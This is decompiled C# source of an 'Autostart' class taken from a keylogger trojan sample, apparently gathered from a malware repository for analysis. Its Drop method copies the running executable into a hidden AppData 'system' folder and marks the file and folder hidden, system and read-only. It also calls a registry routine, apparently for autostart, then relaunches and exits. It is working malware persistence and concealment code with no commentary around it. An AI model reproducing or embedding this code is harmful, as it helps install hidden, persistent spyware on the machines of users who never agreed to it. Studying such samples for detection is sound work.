// Decompiled with JetBrains decompiler
// Type: sTUB3.Autostart
// Assembly: sTUB3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A48CA51E-DD48-4A82-AD76-B7119655ACE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HEUR-Trojan-Spy.MSIL.KeyLogger.cxy-16ef54e05f60ffe8b7333259df765d3431fb83555b6fc9170539714b4f83cb9c.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;

namespace sTUB3
{
  public class Autostart
  {
    [DebuggerNonUserCode]
    public Autostart()
    {
    }

    public static void Drop(string TargetExeName)
    {
      string str1 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\system";
      string str2 = Path.Combine(str1, TargetExeName);
      string TargetRegistryName = TargetExeName.Replace(".exe", string.Empty);
      if (Operators.CompareString(Environment.CurrentDirectory, str1, false) == 0)
        return;
      try
      {
        Reg.CheckReg(TargetExeName, TargetRegistryName);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      if (File.Exists(str2))
      {
        try
        {
          File.SetAttributes(str2, FileAttributes.Normal);
          File.Delete(str2);
          File.Copy(Process.GetCurrentProcess().MainModule.FileName, str2);
          File.SetAttributes(str2, File.GetAttributes(str2) + 4 + 2 + 8192 + 1);
          Process.Start(new ProcessStartInfo());
          Environment.Exit(0);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
      else
      {
        try
        {
          if (!Directory.Exists(str1))
          {
            Directory.CreateDirectory(str1);
            File.SetAttributes(str1, File.GetAttributes(str1) + 4 + 2 + 1 + 8192);
          }
          File.Copy(Process.GetCurrentProcess().MainModule.FileName, str2);
          Process.Start(new ProcessStartInfo());
          Environment.Exit(0);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
    }
  }
}
